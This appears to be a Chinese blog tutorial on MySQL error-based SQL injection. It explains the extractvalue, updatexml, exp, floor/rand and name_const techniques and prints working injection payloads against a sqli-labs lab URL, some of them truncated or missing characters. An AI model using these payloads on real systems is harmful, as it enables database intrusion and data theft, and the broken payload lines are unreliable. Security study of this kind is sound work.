• 【SQL报错注入】简介、相关函数、利用方法


    目录

    一、定义:

    1.1、简介:

    1.2、利用:

    1.3、利用过程:

    1.4示例:

    注:

    二、相关函数:

    2.1、最常用的三种是:

    2.2、Xpath语法错误

    extractvalue()

    updatexml()

    2.3、数据溢出

    exp()

    2.4、主键重复

    原理:

    rand():

    count(*):

    group by x:

    floor(x):

    2.5、函数特性报错

    列名重复

    2.6、参数类型

    几何函数(数字)



    一、定义:

    1.1、简介:

    SQL报错注入:利用数据库的某些报错返回机制,刻意的制造错误条件传到数据库,使得查询结果能够出现在错误返回提示信息中

    1.2、利用:

    需要有SQL报错信息回 显

    有显示位时,首先使用union联合查询语句

    无显示位时,使用报错注入

    1.3、利用过程:

    第一步:注入点测试

    第二步:查询字段数

    第三步:判断回显位

    第四步:查看数据库基本信息

    第五步:爆数据库

    第六步:爆数据库表

    第七步:爆字段

    第八步:爆数据


    1.4示例:

    (1)爆数据库版本信息:

    ?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.

    2爆当前用户:

    ?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tab

    (3)爆当前数据库:

    ?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema

    (4)爆指定表的字段

    ?id=1'  and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM informati

    注:

    高版本的数据库,现在已经很多难以执行成功了



    二、相关函数:

    2.1、最常用的三种是:

    floor()、updatexml()以及extractvalue()这三个函数

    现在有很多高版本都已经用不了了

    2.2、Xpath语法错误

    extractvalue()是查询、updatexml()是改变

    extractvalue()

    作用:

    对XML文档进行查询(类似在HTML文件中用标签查找元素)

    ------

    语法:

    extractvalue( XML_document, XPath_string )

    参数1:XML_document(String格式),为XML文档对象的名称(输入错误的)

    参数2:XPath_string(Xpath格式的字符串)(注入的地方)

    ------

    利用:

    extractvalue(1,(payload))

    extractvalue(1,(concat(0x7e,(payload),0x7e)))

    ------

    报错原理:

    格式报错

    xml文档中查找字符位置是用/xxx/xxx/xxx/...

    写入其他格式就会报错,并返回注入请求的内容

    报错最多32字符

    ------

    利用语句:

    http://localhost:8080/sqli-labs-master/Less-5/
    ?id=1' and extractvalue(1,concat('~',database())) --+

    注:

    在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错


    updatexml()

    作用:

    改变文档中符合条件节点的值

    ------

    语法:

    updatexml( XML_document, XPath_string, new_value )

    参数1:XML_document(String格式),为XML文档对象的名称
    参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
    参数3:new_value(String格式),替换查找到的符合条件的数据

    updatexml(1, payload,1)

    ------

    报错原理:

    也是格式错误

    输出的字符长度有限制,其最长输出32位

    2.3、数据溢出

    类型贮存最小值最大值
    (Bytes)(Signed/Unsigned)(Signed/Unsigned)
    TINYINT1-128127
    0255
    SMALLINT2-3276832767
    065535
    MEDIUMINT3-83886088388607
    016777215
    INT4-21474836482147483647
    04294967295
    BIGINT8-92233720368547758089223372036854775807
    018446744073709551615

    在mysql5.5之前,整形溢出不会报错,只有版本号大于5.5.5时,才会报错

    官方文档说明:out-of-range-and-overflow

    在mysql中,并不是输入很长数字,考虑按位取反

    报错信息是有长度限制的,在mysql/my_error.c中可以看到


    exp()

    (5.5.5<= MySQL数据库版本号<=5.5.49)

    作用:

    计算以e(自然常数)为底的幂值

    ------

    语法:

    exp(x)

    ------

    报错原理:

    当参数x超过710时,exp()函数会报错

    (错误信息:DOUBLE value is of range)

    ------

    注入语句:

    id=1 and EXP(~(SELECT from (SELECT user())a))

    2.4、主键重复

    原理:

    count()和group by

    遇到rand()产生的重复值时报错


    rand():

    生成一个0~1之间的随机浮点数

    生成[ 0 , 1 ) [0,1)[0,1)之间的随机数,可以指定参数作为种子

    可以通过线性运算扩大值域,比如2 ∗ r a n d ( ) 2*rand()2∗rand()就生成了[ 0 , 2 ) [0,2)[0,2)上的随机数


    count(*):

    统计行数、某表下总共记录条数

    count ( ∗ ) 搭配group by查询


    group by x:

    作用:

    按x规则进行分组

    ------

    报错原理:

    利用rand()函数与group()函数的相互冲突

    group by与rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次
    rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错


    floor(x):

    作用:

    对参数x向下取整

    ------

    语句:

    and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

    ------

    注入语句:

    id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a)

    需要注意的是该语句将 输出字符长度限制为64个字符

    2.5、函数特性报错

    列名重复

    报错:

    mysql列名重复会报错

    ------

    利用:

    name_const来制造一个列

    select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

    2.6、参数类型

    几何函数(数字)

    geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()等

    不满足可能会报错。php版本不同,可能会会有不同的结果

    报错,那不是轻轻松松报错,哈哈哈

  • 相关阅读:
    Python基础tuple元组定义与函数
    Redis分布式锁的正确使用姿势
    node内置模块——crypoty模块
    与AI对话:探索最佳国内可用的ChatGPT网站
    new map日常使用
    二十二、SpringBoot + Jwt + Vue 权限管理系统 (3)
    2023-2024-1 for循环-1(15-38)
    CCF开源发展委员会正式成立,探索开源发展新途径
    手摸手教你使用 Docker 快速搭建 Gitlab 服务
    【目标检测】32、NMS 及其变体超详细介绍
  • 原文地址:https://blog.csdn.net/qq_53079406/article/details/125017089